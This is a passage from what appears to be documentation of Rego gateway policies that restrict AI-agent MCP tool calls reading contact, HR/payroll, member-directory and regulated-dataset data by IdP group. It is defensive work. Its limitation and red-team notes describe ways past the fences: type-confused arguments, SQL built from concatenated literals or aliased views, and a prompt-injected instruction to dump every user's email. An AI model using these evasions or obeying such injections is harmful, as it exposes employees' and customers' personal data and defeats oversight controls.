for non-support callers — a known residual bypass (see the tests.yaml case). The exact URL/argument shape is unverified in the app landscape note; verify it with the dump-input debug technique and, if your server uses bare-numeric URLs, add an explicit URL-path matcher (`/contacts/`, `/companies/`) or a per-server key before relying on this in production. - **Generic `search` without `object_type` is treated as non-contacts.** A `search` call that omits `object_type` is allowed (assumed conversation search). If your server defaults `search` to contacts when `object_type` is absent, tighten the `is_generic_search_contacts` rule accordingly. - **Non-string `object_type` / `id` fail closed (red-team fix).** A `search` whose `object_type` (or a `fetch` whose `id`) arrives as a non-string — an array such as `["contacts"]`, a number, or an object — cannot be lower-cased, so the primary match rule would be *undefined* and the call would otherwise slip through the allow fall-through. The policy fences any present-but-non-string `object_type`/`id` and requires support/CRM authorization for it (fail closed). A side effect: a malformed conversation search/fetch that wraps its type/id in an array is denied for non-support callers with the contact role-gate reason — acceptable, since such input is malformed per the DSL and erring toward deny is the intended posture. Absent `object_type`/`id` still uses the documented string default and is unaffected. - **`groups` claim must be an array.** The identity gate iterates `claims.groups` as a list. If your IdP emits a single group as a scalar string rather than a one-element array, the gate fails closed (an authorized support user is denied, not wrongly allowed) — normalize the claim to an array at the gateway, or add a string-handling branch. - **Out of scope by design.** The Intercom web UI, REST API scripts, and Fin's own actions do not traverse the gateway and are unaffected by this policy. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package intercom.ingress.fence_contact_reads # Deny-by-default: the structured-PII read surface is only reachable by # callers whose IdP groups authorize it. Everything else falls through the # `not is_pii_read_surface` allow rule. default allow := false # IdP groups permitted to read customer contact/company profiles. # PLACEHOLDER — replace with your organization's support/CRM group names at import time. allowed_groups := {"support", "crm"} # --- Identity gate (fail closed) --- # Missing subject/claims/groups yields an empty list, which matches no # allowed group, so a caller with no groups claim is not exempt. caller_groups := object.get(object.get(input.subject, "claims", {}), "groups", []) caller_authorized if { some g in caller_groups allowed_groups[g] } # --- The structured-PII read surface --- # Typed tools: get_contact / search_contacts / get_company / list_companies. # Matched by suffix so the gateway's server-name prefix does not matter. is_typed_pii_tool if { endswith(lower(input.resource.name), "get_contact") } is_typed_pii_tool if { endswith(lower(input.resource.name), "search_contacts") } is_typed_pii_tool if { endswith(lower(input.resource.name), "get_company") } is_typed_pii_tool if { endswith(lower(input.resource.name), "list_companies") } # Generic search aliasing search_contacts: `search` with object_type == "contacts". # `search_contacts` ends in "contacts" (not "search"), so it is not matched here. is_generic_search_contacts if { endswith(lower(input.resource.name), "search") # trim_space + startswith("contact") so whitespace padding ("contacts ") # and a singular alias ("contact") cannot slip past strict equality. # "conversations" does not start with "contact", so it is unaffected. startswith(trim_space(lower(object.get(input.payload.args, "object_type", ""))), "contact") } # Defensive (fail closed): a non-string object_type (array/number/object) # cannot be safely lower-cased — `lower` would error and the rule above would # be *undefined*, letting the call slip through the `not is_pii_read_surface` # allow fall-through (type-confusion bypass, e.g. object_type: ["contacts"]). # Treat any present-but-non-string object_type as the contacts surface and # fence it. Absent object_type yields the "" default (a string), so the # documented "search without object_type => pass-through" behaviour is intact. is_generic_search_contacts if { endswith(lower(input.resource.name), "search") not is_string(object.get(input.payload.args, "object_type", "")) } # Generic fetch aliasing get_contact / get_company: `fetch` of an ID (or # workspace URL) that embeds a contact_ / company_ token. `contains` (not # `startswith`) so a URL like `.../users/contact_123` is also caught; a # `conversation_` id/URL contains neither token and passes through. is_fetch_pii_id if { endswith(lower(input.resource.name), "fetch") contains(lower(object.get(input.payload.args, "id", "")), "contact_") } is_fetch_pii_id if { endswith(lower(input.resource.name), "fetch") contains(lower(object.get(input.payload.args, "id", "")), "company_") } # Defensive (fail closed): a non-string id (array/number/object) cannot be # safely inspected for a contact_/company_ token — `lower` would error and the # rules above would be *undefined*, letting the call slip through the allow # fall-through (type-confusion bypass, e.g. id: ["contact_123"]). Fence any # fetch whose id is present but not a string. Absent id yields the "" default # (a string), so a fetch with no id is not fenced (it is inert at the server). is_fetch_pii_id if { endswith(lower(input.resource.name), "fetch") not is_string(object.get(input.payload.args, "id", "")) } is_pii_read_surface if { is_typed_pii_tool } is_pii_read_surface if { is_generic_search_contacts } is_pii_read_surface if { is_fetch_pii_id } # --- Allow rules --- # Anything that is not the structured-PII read surface passes through # (conversations, articles, non-Intercom tools). allow if { not is_pii_read_surface } # The PII read surface is allowed only for authorized support/CRM callers. allow if { is_pii_read_surface caller_authorized } # --- Deny reason --- reasons contains "Intercom contact and company profiles are limited to support and CRM roles. Other roles keep conversation access. Ask your admin to add you to the support or CRM IdP group if you need customer-profile access, or contact your security team if this is a false positive." if { is_pii_read_surface not caller_authorized } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Fence NetSuite HR & Payroll SuiteQL Queries URL: https://www.intentbasedpolicy.com/policies/netsuite/fence-hr-payroll-suiteql App(s): netsuite | Direction: ingress | Bundles: gdpr-ccpa, soc2 | Package: netsuite.ingress.fence_hr_payroll_suiteql | Published: 2026-07-12 | Tags: netsuite, fence-sensitive-scopes, ingress, gdpr-ccpa, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/netsuite/fence-hr-payroll-suiteql/policy.md # netsuite / fence-hr-payroll-suiteql **Direction:** ingress (`tool_pre_invoke`) **Default:** deny HR/payroll references for callers outside the `hr` group, allow otherwise **Package:** `netsuite.ingress.fence_hr_payroll_suiteql` ## What it does Fences the single biggest exfiltration surface on the NetSuite MCP server — `ns_runCustomSuiteQL`, which runs arbitrary read-only SuiteQL across the entire ERP. One query can pull employee SSN/TIN, compensation, and payroll data in a single call. This policy inspects the `sqlQuery` argument and, case-insensitively, denies the call when the query text references HR/payroll table and column names — `employee`, `payroll`, `payrollitem`, `paycheck`/`paycheckjournal`, `compensation`, `salary`, and SSN/TIN column tokens (`ssn`, `socialsecuritynumber`, `tin`, `taxid`) — **unless** the caller carries the `hr` IdP group in `input.subject.claims.groups`. The same restriction covers `ns_runSavedSearch`: because the saved-search identifier reaches the same HR/payroll data through a pre-built view, the policy denies the call when any string argument on it contains an `hr` or `payroll` token — again unless the caller is in the `hr` group. All other NetSuite tools (`ns_getRecord`, `ns_runReport`, writes, metadata helpers, and everything on the wider `/v1/all` surface) pass through this policy untouched. This limits sensitive-personal-data access on the agent channel to authorized HR users. Group membership is read through `object.get` chains and fails closed: a missing, empty, or malformed `subject`/`claims`/`groups` never grants the exemption (no group → not exempt), so a sensitive query with absent identity is denied. `default allow := false` is the deny-policy default; the pass-through `allow` rules below permit everything this policy does not fence. ## Compliance alignment - **SOC 2 C1.1** — supports identifying and protecting confidential information by gating agent SuiteQL against the employee/payroll domain; **P4.1** — supports limiting personal-information use to identified purposes by keeping HR/payroll data behind an IdP-group fence on the MCP path. - **GDPR Art. 9** — supports special-category protection: compensation, payroll, and national tax-identifier data are fenced to a minimal authorized group on the agent channel; **CPRA §1798.121** — supports the consumer right to limit use of sensitive personal information (SSN/TIN, precise compensation) by fencing it to the `hr` group; **GDPR Art. 5(1)(b)** — supports purpose limitation by preventing general-purpose agents from sweeping HR data. ## Why ingress and least-privilege SuiteQL is read-only, but the leak happens the moment the query executes and the rows land in the agent's context — an egress redactor would only mask what has already been retrieved and logged (every MCP call is written to the NetSuite integration Execution Log). Denying at ingress, before the query reaches NetSuite, is the only way to actually prevent the retrieval. This is the minimum-necessary control for the ERP's most sensitive personal-data surface; pair it with an egress redaction backstop (see Composition) for defense in depth. ## Tool name matching The gateway prefixes tool names with the configured MCP server name (e.g. `netsuite-mcp-ns_runCustomSuiteQL`), and that prefix is not standardized. The policy therefore matches case-insensitively on the **suffix**: - `*ns_runcustomsuiteql` - `*ns_runsavedsearch` The official NetSuite AI Connector SuiteApp and the dsvantien community proxy expose identical `ns_*` tool names, so one policy covers both. The ChatFin (`get-*`) and glints-dev (`netsuite_*`) servers use different naming conventions and are **not** matched by this policy. Verify the exact tool name your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape - `ns_runCustomSuiteQL`: `{ sqlQuery: string, description?: string, pageSize?: number }`. The policy reads `sqlQuery` and scans it for the HR/payroll patterns. The DTwo PARC schema surfaces tool arguments under `payload.args`, while the NetSuite landscape note calls the same object `payload.arguments`; for a fail-safe fence the policy merges **both** containers (via `object.union`, with `arguments` winning on conflict) so a `sqlQuery` delivered under either key is inspected. A null / non-object container is coerced to `{}` so the merge cannot type-error and silently disable the fence. - `ns_runSavedSearch`: takes a saved-search identifier plus filters. Oracle does not publish the exact identifier field name, so it is **unverified** — to avoid failing open on the wrong key, the policy scans **every top-level string argument** on the call for an `hr`/`payroll` token. `payroll` matches as a bare case-insensitive substring (so `payrolls`, `payrolldata`, and the `hrpayroll` concatenation are all caught, matching the SuiteQL `payroll` prefix); the 2-char `hr` token requires a non-alphanumeric boundary on both sides so it does not fire on embedded "hr" (`threshold`, `href`, `chrome`). This is a deliberately fail-safe (over-block) choice; see Known limitations. ## Examples ### Allowed — non-HR query, non-HR caller ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "netsuite-mcp-ns_runCustomSuiteQL", "type": "tool" }, "subject": { "sub": "google-apps|analyst@example.com", "claims": { "groups": ["finance"] } }, "payload": { "name": "netsuite-mcp-ns_runCustomSuiteQL", "arguments": { "sqlQuery": "SELECT tranid, amount FROM transaction WHERE type = 'SalesOrd'" } } } } ``` `allow = true`, no reason. ### Denied — HR/payroll query, non-HR caller ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "netsuite-mcp-ns_runCustomSuiteQL", "type": "tool" }, "subject": { "sub": "google-apps|dev@example.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "netsuite-mcp-ns_runCustomSuiteQL", "arguments": { "sqlQuery": "SELECT firstname, ssn, compensation FROM employee" } } } } ``` `allow = false`, `reason = "This SuiteQL query references HR or payroll data (...)"`. ### Allowed — same query, HR caller ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "netsuite-mcp-ns_runCustomSuiteQL", "type": "tool" }, "subject": { "sub": "google-apps|hrlead@example.com", "claims": { "groups": ["hr"] } }, "payload": { "name": "netsuite-mcp-ns_runCustomSuiteQL", "arguments": { "sqlQuery": "SELECT firstname, ssn, compensation FROM employee" } } } } ``` `allow = true` — the `hr` group is exempt. ## Composition This policy is single-purpose. Curated companions for the NetSuite data plane: - **`redact-pii-egress` (egress)** — redact SSN/TIN, IBAN, and bank-account-shaped strings from responses: the defense-in-depth backstop for HR data that reaches the agent through a table or column name this policy does not pattern-match, or through `ns_getRecord` / `ns_runReport`. - **`cap-bulk-export` / bulk-exfil throttle (ingress)** — clamp `pageSize` and require a bounded SuiteQL query so a single call cannot sweep the whole `employee` table even for an HR caller. - **`default-deny-unknown-tools` (ingress)** — allowlist the audited `ns_*` standard tools so a custom SuiteScript tool on the `/v1/all` endpoint cannot introduce an uninspected data path. ## Known limitations - **Placeholder group name.** The exempt group is `hr` — a placeholder. Replace `hr` with your IdP's real HR group-claim value at import time (edit `hr_group` in the Rego). Group names are placeholders — replace `hr` with your IdP's group name at import time. - **Wire-level SQL inspection.** Detection matches the literal token at an identifier boundary in the `sqlQuery` text. A caller who obfuscates the identifier — building it from concatenated string literals, aliasing the `employee` table behind a non-HR-named view, or referencing it through dynamic SQL — references the fenced data without the contiguous token ever appearing, so the fence does not fire. This is a fundamental limit of inspecting SQL on the wire; keep the egress redaction backstop in place and treat this as one layer, not the sole control. - **Convention-dependent tokens.** The token list mirrors NetSuite's standard HR/payroll record and column names. A regulated column under a non-standard name (a custom field like `custentity_pay_band`) is **not** matched — add its token to `hr_payroll_patterns` if your account uses custom naming. - **`ns_runSavedSearch` identifier field is unverified.** Oracle does not publish the identifier argument name, so the policy scans **all** top-level string arguments for an `hr`/`payroll` token. This over-blocks: a saved search whose filter value (not identifier) happens to contain "hr" or "payroll" is denied for non-HR callers. This is the fail-safe bias for a deny fence; confirm the real identifier field against a live connector and narrow the check if the over-blocking is disruptive. The policy cannot see which underlying tables a saved search reads, so a payroll-bearing saved search with an innocuous name (`customsearch123`) is **not** fenced — rely on the egress backstop for that residual. - **`ns_runReport` and `ns_getRecord` are not fenced.** They reach HR data too but are out of scope for this policy (one policy, one job). Fence them with the companion policies above. - **`groups` claim must be an array of strings.** A string-valued or otherwise malformed claim fails closed (the `hr` exemption is not granted). If your IdP emits groups under a different claim name, update `caller_groups` in the Rego. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package netsuite.ingress.fence_hr_payroll_suiteql # Deny-by-default (standards §6). The pass-through allow rules below permit # every call this policy does not fence; only HR/payroll references on the two # fenced tools, by a caller outside the `hr` group, are denied. default allow := false # --------------------------------------------------------------------------- # Exempt group — PLACEHOLDER. Replace `hr` with the tenant's IdP HR group at # import time. hr_group := "hr" # --------------------------------------------------------------------------- # Identity — read groups via object.get chains so a missing subject/claims/ # groups fails closed (no group -> not exempt from the fence). caller_groups := object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", []) # True when the caller's groups claim (an array of strings) contains the HR # group. A malformed (non-array) claim yields no iterations -> fails closed. caller_is_hr if { some g in caller_groups lower(g) == lower(hr_group) } # --------------------------------------------------------------------------- # Tool matching — the gateway prefixes the configured server name, so match on # the `ns_*` suffix, case-insensitively. tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) is_suiteql_tool if { endswith(tool_name, "ns_runcustomsuiteql") } is_savedsearch_tool if { endswith(tool_name, "ns_runsavedsearch") } # --------------------------------------------------------------------------- # Arguments. The DTwo PARC schema surfaces tool arguments under # `input.payload.args`; the NetSuite landscape note calls the same object # `arguments`. For a deny-fence the fail-safe choice is to scan BOTH: merge the # two containers (with `arguments` winning on conflict) so a sqlQuery delivered # under either key is inspected. `as_object` coerces a null / scalar container # to {} so `object.union` cannot type-error and silently disable the fence. as_object(x) := x if is_object(x) as_object(x) := {} if not is_object(x) payload := object.get(input, "payload", {}) arguments := object.union( as_object(object.get(payload, "args", {})), as_object(object.get(payload, "arguments", {})), ) sql_query := object.get(arguments, "sqlQuery", "") # --------------------------------------------------------------------------- # HR/payroll patterns for the SuiteQL text. Each pattern is anchored at an # identifier boundary (`\b`, i.e. start-of-string, whitespace, `.`, `(`, comma, # quote) so the token matches a real table/column reference, not a substring # buried inside an unrelated identifier. All are case-insensitive. hr_payroll_patterns := [ `(?i)\bemployee`, # employee master record (SSN/TIN, comp) + employeeid etc. `(?i)\bpayroll`, # payroll, payrolls, and payrollitem (prefix match) `(?i)\bpaycheck`, # paycheck + paycheckjournal payroll txn records (prefix match) `(?i)\bcompensation`, # compensation records/columns `(?i)\bsalary`, # salary columns `(?i)\bssn\b`, # social security number column `(?i)\bsocialsecuritynumber\b`, # spelled-out SSN column `(?i)\btin\b`, # taxpayer identification number column `(?i)\btaxid`, # taxid / taxidnum / taxidentifier columns ] # True when the SuiteQL query text references any fenced HR/payroll token. sql_matches_hr_payroll if { some p in hr_payroll_patterns regex.match(p, sql_query) } # --------------------------------------------------------------------------- # Saved-search identifier check. Oracle does not publish the identifier field # name, so scan every top-level string argument (fail-safe over-block). # `payroll` is a distinctive token, matched as a bare case-insensitive substring # so plural / suffixed / concatenated forms (`payrolls`, `payrolldata`, # `hrpayroll`) cannot slip the fence — same coverage as the SuiteQL `\bpayroll` # prefix. `hr` is a 2-char token, so it requires a non-alphanumeric boundary on # both sides (start/end or `_`, `-`, space) to fire: `customsearch_hr` and # `hr_report` match, but `threshold` / `href` / `chrome` (embedded "hr") do not. savedsearch_id_pattern := `(?i)(payroll|(^|[^a-z0-9])hr([^a-z0-9]|$))` savedsearch_matches_hr_payroll if { some _, v in arguments is_string(v) regex.match(savedsearch_id_pattern, v) } # --------------------------------------------------------------------------- # Violations — fenced tool + sensitive reference + caller not in the HR group. suiteql_violation if { is_suiteql_tool sql_matches_hr_payroll not caller_is_hr } savedsearch_violation if { is_savedsearch_tool savedsearch_matches_hr_payroll not caller_is_hr } # --------------------------------------------------------------------------- # Allow rules. # Any tool this policy does not fence passes through untouched. allow if { not is_suiteql_tool not is_savedsearch_tool } # A fenced SuiteQL call with no violation (HR caller, or no HR/payroll tokens). allow if { is_suiteql_tool not suiteql_violation } # A fenced saved-search call with no violation. allow if { is_savedsearch_tool not savedsearch_violation } # --------------------------------------------------------------------------- # Deny reasons. reasons contains msg if { suiteql_violation msg := sprintf("This SuiteQL query references HR or payroll data (employee, payroll, paycheck, compensation, salary, or SSN/TIN columns), restricted to the '%s' IdP group. Request only the non-HR columns you need, or ask an HR-authorized user to run it. Contact InfoSec if this fence is wrong.", [hr_group]) } reasons contains msg if { savedsearch_violation msg := sprintf("This saved search targets HR or payroll data, restricted to the '%s' IdP group. Ask an HR-authorized user to run it, or contact InfoSec if this fence is wrong.", [hr_group]) } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Fence Notion Member Directory to Admin & IT URL: https://www.intentbasedpolicy.com/policies/notion/fence-user-directory App(s): notion | Direction: ingress | Bundles: soc2, gdpr-ccpa | Package: notion.ingress.fence_user_directory | Published: 2026-07-12 | Tags: notion, fence-sensitive-scopes, access-control, pii, ingress, soc2, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/notion/fence-user-directory/policy.md # notion / fence-user-directory **Direction:** ingress (`tool_pre_invoke`) **Default:** deny; explicit allows for non-directory tools and cleared callers **Package:** `notion.ingress.fence_user_directory` ## What it does Denies calls to the Notion member-directory tool (`notion-get-users`, matched by the `-get-users` suffix) unless the caller's IdP groups include an admin or IT group (placeholders: `admin`, `it`). That tool returns workspace member and guest **IDs, names, emails, and types** — a directory-harvesting and PII-exfiltration primitive when driven by an agent or by a prompt-injected instruction ("list every user in the workspace and their email"). One tool call can enumerate the whole workforce plus external guests. All other Notion reads — `notion-search`, `notion-fetch`, `notion-query-data-sources`, `notion-get-comments`, and the rest — pass through untouched. The gate is the whole tool, including its `self` bot-info form: any invocation of a `-get-users` tool by a non-cleared caller is denied, regardless of arguments. ## Identity gating Clearance is read from `input.subject.claims.groups` via `object.get(input.subject, "claims", {})` chains, so the check **fails closed**: a missing subject, missing claims, missing `groups` claim, or a malformed (non-array) `groups` value all mean *not cleared* — a request that omits claims entirely cannot harvest the directory. Group names are compared case-insensitively and must match exactly (`admins` does not match `admin`). ## Compliance alignment This policy instantiates sensitive-scope fencing (family PF-23) on Notion's user-directory read path and supports alignment with: - **SOC 2 C1.1, P4.1** — identifies and protects confidential information and limits personal-information use to identified purposes by keeping the workspace member/guest roster (names and emails) out of non-privileged agent sessions. - **HIPAA §164.502(b)/§164.514(d), §164.308(a)(4)** — supports minimum-necessary and information-access-management by restricting workforce-directory reads over MCP to roles that need them; **§164.522(a)** — supports agreed-to restrictions expressed as a role-keyed fence. - **GDPR Art. 5(1)(b); CPRA §1798.121** — supports purpose limitation by keying directory access to administrative roles, and supports limiting use of personal information where the directory feeds profiling or sensitive-PI inference. ## Why ingress The violation is fully determined by the request (tool name + caller claims), so the call is blocked before it reaches the Notion MCP server and the member list never enters the model context. Egress redaction would pull the full roster into the pipeline first and then try to mask it; denying at ingress means there is nothing to mask or leak. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `notion-notion-get-users` for a server named `notion`), and that prefix is not standardized, so the policy matches case-insensitively on the `-get-users` suffix. `notion-get-users` is a verified tool name on Notion's hosted MCP server (the implementation behind the Claude connector). Verify the exact name your gateway emits with the dump-input debug technique before relying on this in production. ## Argument shape None inspected — the whole tool is gated. `notion-get-users` accepts an optional name/email search, a user ID or `self`, and pagination; every shape (including empty args and the `self` bot-info lookup) is denied for non-cleared callers, so there is no argument-crafting bypass. ## Configuration Edit `directory_admin_groups` at the top of the Rego. The group names (`admin`, `it`) are **placeholders** — replace them with your tenant's real IdP group names at import time (e.g. `notion-admins`, `it-servicedesk`). ## Examples ### Allowed (other reads unaffected) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "notion-notion-search", "type": "tool" }, "payload": { "name": "notion-notion-search", "args": { "query": "onboarding checklist" } } } } ``` `allow = true`, no reason. ### Allowed (directory read by an IT group member) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "notion-notion-get-users", "type": "tool" }, "subject": { "sub": "auth0|itops", "claims": { "groups": ["it"] } }, "payload": { "name": "notion-notion-get-users", "args": {} } } } ``` `allow = true`, no reason. ### Denied (directory harvest without admin/IT clearance) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "notion-notion-get-users", "type": "tool" }, "subject": { "sub": "auth0|dev", "claims": { "groups": ["engineering"] } }, "payload": { "name": "notion-notion-get-users", "args": { "query": "" } } } } ``` `allow = false`, `reason = "Reading the Notion member directory (workspace member and guest names, emails, and IDs) is limited to admin and IT roles. ..."`. ## Composition This policy fences exactly one tool. Useful companions: - [`redact-pii-egress`](../redact-pii-egress/policy.md) — the egress backstop: masks emails and phone numbers embedded in page and query *content* returned by `notion-search` / `notion-fetch` / `notion-query-data-sources`, which this ingress fence deliberately leaves open. Together they cover both the directory tool and PII that leaks through content reads. - [`constrain-connected-search`](../constrain-connected-search/policy.md) — keeps `notion-search` from reaching into connected Slack/Drive/Jira content. - [`freeze-content-overwrite`](../freeze-content-overwrite/policy.md) — removes the irreversible `replace_content` overwrite edge on the write path. ## Known limitations - **Hosted-server tool names only.** The `-get-users` suffix matches Notion's hosted MCP server. The official local server's documented tool set exposes no user-directory tool; the suekou community server's raw user-operation tool names are **unverified** and not matched here — extend the suffix match if you run it. The awkoy server funnels every operation through a single `notion_execute` meta-tool, which tool-name matching cannot fence — block that server in gateway config instead. - **The `self` bot-info form is also denied** for non-cleared callers, because it arrives on the same tool name. If your agents legitimately need bot self-identification, add a narrow `allow if` branch keyed to the `self` argument — accepting that Notion's argument schema for it is not verified here. - **Identity placeholders.** `admin` and `it` are placeholders — replace them with your IdP's real group names at import time. The `groups` claim must be an array of strings; any other shape fails closed. - **Directory data already pasted into pages is out of scope** — that is content, not the directory tool, and is handled by the companion `redact-pii-egress` policy. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package notion.ingress.fence_user_directory # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # ----------------------------------------------------------------------------- # CONFIG: IdP groups cleared to read the Notion member directory. # The names ("admin", "it") are PLACEHOLDERS — replace them with your tenant's # real IdP group names at import time. Compared case-insensitively, exact # match (no substring or prefix matching). # ----------------------------------------------------------------------------- directory_admin_groups := {"admin", "it"} # ----------------------------------------------------------------------------- # Tool matching. The gateway prefixes tool names with the configured MCP # server name (e.g. `notion-notion-get-users` for a server named `notion`), # so we match case-insensitively on the `-get-users` suffix. The suffix also # covers the tool's `self` bot-info form, which arrives on the same name. # `notion-get-users` is verified on Notion's hosted MCP server; confirm the # exact name your gateway emits with the dump-input debug technique. # ----------------------------------------------------------------------------- tool_name := lower(input.resource.name) is_user_directory_tool if endswith(tool_name, "-get-users") # ----------------------------------------------------------------------------- # Identity — caller's IdP groups, read fail-closed via object.get chains: a # missing subject, missing claims, or missing/malformed groups claim yields no # memberships, so a request that omits claims entirely can never read the # directory. # ----------------------------------------------------------------------------- caller_groups := object.get( object.get(object.get(input, "subject", {}), "claims", {}), "groups", [], ) caller_is_directory_admin if { is_array(caller_groups) some g in caller_groups is_string(g) directory_admin_groups[lower(g)] } # ----------------------------------------------------------------------------- # Allow rules # ----------------------------------------------------------------------------- # Every tool that is not the member-directory tool passes through untouched # (notion-search, notion-fetch, writes, other MCP servers, ...). allow if { not is_user_directory_tool } # The directory tool itself is allowed only for admin / IT group members. allow if { is_user_directory_tool caller_is_directory_admin } # Single denial condition — inline reason form. reason := "Reading the Notion member directory (workspace member and guest names, emails, and IDs) is limited to admin and IT roles. Look up individual collaborators from page context instead, or ask your IT team to run this lookup — contact them if your role requires directory access." if { is_user_directory_tool not caller_is_directory_admin } ``` ### Fence Regulated BigQuery Datasets by Group URL: https://www.intentbasedpolicy.com/policies/bigquery/fence-sensitive-datasets App(s): bigquery | Direction: ingress | Bundles: soc2, hipaa, pci-dss, gdpr-ccpa | Package: bigquery.ingress.fence_sensitive_datasets | Published: 2026-07-12 | Tags: bigquery, fence-sensitive-scopes, ingress, rbac, soc2, hipaa, pci-dss, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/bigquery/fence-sensitive-datasets/policy.md # bigquery / fence-sensitive-datasets **Direction:** ingress (`tool_pre_invoke`) **Default:** deny a regulated-dataset reference for callers outside the mapped data-domain group, allow otherwise **Package:** `bigquery.ingress.fence_sensitive_datasets` ## What it does Fences customer-designated **regulated BigQuery data domains** by data-domain IdP group, at ingress, before any statement or metadata lookup reaches BigQuery. The policy carries one placeholder map, `sensitive_domains`, pairing a **dataset name prefix** with the IdP group required to touch that domain: - `phi_` → `clinical-data` - `finance_` → `finance` - `pii_` → `data-privacy` It inspects **two surfaces** so that recon and enumeration are fenced before any `SELECT` runs — not just the query itself: - **Raw SQL** on the query tools (`execute_sql`, `execute_sql_readonly`, `query`, `execute-query`). **Every string argument value** on these tools is scanned for a table reference whose dataset component begins with a fenced prefix (e.g. `phi_labresults.records`, `myproj.finance_ledger.gl`, `` `pii_customers.profiles` ``). Scanning all string args — not just the documented `sql`/`query` keys — means a community server that names its SQL argument something else cannot slip a query past the fence fail-open. - **`dataset_id` / `table_id` arguments** on the metadata and read tools (`get_dataset_info`, `get_table_info`, `list_table_ids`, `list-tables`, `describe-table`). This closes the enumeration path: a caller cannot map or describe a regulated dataset's schema before deciding what to `SELECT`. If a fenced prefix is referenced on either surface and the caller's IdP `groups` claim does **not** include the mapped group, the call is denied. The deny reason names the data domain and the exact group required, plus an escalation hint. Group membership is read through `object.get(input.subject, "claims", {})` chains that **fail closed**: a missing, empty, or malformed `subject`/`claims`/`groups` never grants a fenced domain — no group means not exempt. A caller holding the *wrong* domain group (e.g. `finance` querying a `phi_` dataset) is likewise denied, because each domain requires its own specific group. Calls that reference no fenced prefix, and calls to tools outside the two inspected surfaces, pass through untouched. ## Compliance alignment - **HIPAA §164.502(b)/§164.514(d)** — supports the minimum-necessary and role-based-limits standard: agent access to a PHI-bearing dataset (`phi_`) is gated to its mapped `clinical-data` group on the MCP path, including the metadata/enumeration tools so a caller cannot even map PHI schema without the entitlement; **§164.308(a)(4)** — supports information access management by authorizing sensitive-domain access via IdP group. - **PCI DSS 7.2.6** — supports restricting programmatic query access to stored cardholder data by role: fence the `finance_` prefix so only the `finance` group can query or enumerate it through an agent. - **SOC 2 C1.1** — supports identification and protection of confidential information by gating agent SQL and metadata calls against designated confidential datasets; **P4.1** — supports limiting personal-information use to identified purposes by keeping PI-bearing datasets behind a role fence. - **GDPR Art. 9** — supports special-category protection by fencing datasets holding health (`phi_`) or other Art. 9 data; **CPRA §1798.121** — supports the right to limit use of sensitive personal information by fencing the `pii_` domain to a minimal group. - **SOX (ITGC — access to programs & data)** — supports least-privilege access to financial data: fencing the `finance_` domain to the `finance` group confines agent reads of financially relevant warehouse data to authorized personnel on the MCP path. ## Why ingress and least-privilege This is the minimum-necessary / least-privilege control for the warehouse's data plane: it stops a regulated-dataset reference — read, query, *or* enumeration — before it executes, rather than masking a response the query already produced. Fencing the metadata tools matters because schema recon (`get_dataset_info`, `list_table_ids`) is itself a disclosure and a targeting step; blocking it early denies the agent the map it would use to craft an exfiltration `SELECT`. Pair with an **egress redaction backstop** (see Composition) for defense in depth, since which specific tables hold regulated data is not knowable from the wire. ## Tool name matching Tools are matched by **suffix** (the gateway prefixes tool names with the configured MCP server name, which is not standardized). Two classes are inspected: - **SQL query tools** — `execute_sql` and `execute_sql_readonly` (Google official remote server + MCP Toolbox `bigquery` toolset, snake_case), `query` (ergut/mcp-bigquery-server), `execute-query` (LucasHild/mcp-server-bigquery, kebab-case). `execute_sql_readonly` is matched explicitly because a read-only SELECT still bulk-reads a regulated dataset. **Every string argument value** on these tools is scanned (not just `sql`/`query`). - **Metadata / read tools** — `get_dataset_info`, `get_table_info`, `list_table_ids`, `list-tables`, `describe-table`. Their `dataset_id`/`table_id` arguments are scanned. Any other tool (including `list_dataset_ids`, which lists dataset names with no target argument) is **not** inspected and passes through — see Known limitations. Verify the exact tool names your gateway emits with the dump-input debug technique before relying on this in production. ## Argument shape - **SQL query tools** — `sql` / `query` are the documented keys carrying the GoogleSQL text, but **all** string argument values are read and scanned, so a server that carries the SQL under a different (unverified) key is still fenced rather than passing fail-open. - `dataset_id` / `table_id` — the dataset/table identifiers (strings) on the metadata tools. A fully-qualified `table_id` (`finance_gl.journal`) is matched as readily as a bare dataset id (`pii_customers`). The community kebab-case tools (`list-tables`, `describe-table`) whose argument key is unverified are also read under the aliases `dataset`, `table`, and `table_name`, so a metadata tool this policy claims to inspect is fenced regardless of which of these keys it uses. Only string argument values are inspected; a non-string value contributes no text. ## Examples ### Allowed — cleared caller queries a fenced dataset ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "bigquery-mcp-execute_sql", "type": "tool" }, "subject": { "sub": "google-apps|nurse@example.com", "claims": { "groups": ["clinical-data"] } }, "payload": { "name": "bigquery-mcp-execute_sql", "args": { "sql": "SELECT patient_id, visit_date FROM phi_records.encounters WHERE patient_id = 42" } } } } ``` `allow = true`, no reason. ### Denied — uncleared caller references a fenced dataset in SQL ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "bigquery-mcp-execute_sql", "type": "tool" }, "subject": 